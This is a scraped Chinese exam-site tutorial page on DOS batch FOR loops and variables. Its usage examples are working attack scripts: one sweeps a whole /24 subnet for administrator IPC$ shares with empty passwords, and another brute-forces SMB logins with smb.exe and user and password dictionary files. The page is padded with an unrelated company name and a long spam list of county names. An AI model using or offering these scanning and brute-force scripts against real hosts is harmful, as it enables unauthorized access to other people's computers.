华南俳烁实业有限公司

考試首頁 | 考試用書 | 培訓課程 | 模擬考場 | 考試論壇  
  當前位置:操作系統(tǒng) > DOS > 文章內(nèi)容
  

計算機DOS操作系統(tǒng)的常用命令(32)

 [ 2017年4月26日 ] 【

  批處理命令與變量

  for命令及變量 基本格式:

  FOR /參數(shù) %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數(shù),如:%i ,而指定一個變量則用:%%i ,而調(diào)用變量時用:%i% ,變量是區(qū)分大小寫的(%i 不等于 %I)。

  批處理每次能處理的變量從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

  (set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結(jié)束值,即:從1到254;“(1 -1 254)”說明:即從254到1}

  command:指定對第個文件執(zhí)行的命令,如:net use命令;如要執(zhí)行多個命令時,命令這間加:& 來隔開

  command_parameters:為特定命令指定參數(shù)或命令行開關(guān)

  IN (set):指在(set)中取值;DO command :指執(zhí)行command

  參數(shù):/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。

  用法舉例:

  @echo off

  echo 用法格式:test.bat *.*.* > test.txt

  for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt

  存為test.bat 說明:對指定的一個C類網(wǎng)段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

  /L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變量(ip的最后一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$后,在結(jié)果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結(jié)止值。

  @echo off

  echo 用法格式:ok.bat ip

  FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

  存為:ok.exe 說明:輸入一個IP后,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

本文糾錯】【告訴好友】【打印此文】【返回頂部
將考試網(wǎng)添加到收藏夾 | 每次上網(wǎng)自動訪問考試網(wǎng) | 復制本頁地址,傳給QQ/MSN上的好友 | 申請鏈接 | 意見留言 TOP
關(guān)于本站  網(wǎng)站聲明  廣告服務  聯(lián)系方式  站內(nèi)導航  考試論壇
Copyright © 2007-2013 中華考試網(wǎng)(Examw.com) All Rights Reserved
株洲县| 镇雄县| 庄浪县| 通化市| 定远县| 安陆市| 武胜县| 北流市| 沈丘县| 吉林市| 富源县| 宝丰县| 肃宁县| 西畴县| 漳浦县| 斗六市| 长宁县| 庄河市| 陆丰市| 南岸区| 新晃| 赞皇县| 合肥市| 浪卡子县| 繁峙县| 潮安县| 富顺县| 铜川市| 日土县| 衡东县| 孝感市| 彭州市| 济阳县| 大港区| 时尚| 邵武市| 昌江| 柳河县| 政和县| 慈利县| 宁强县|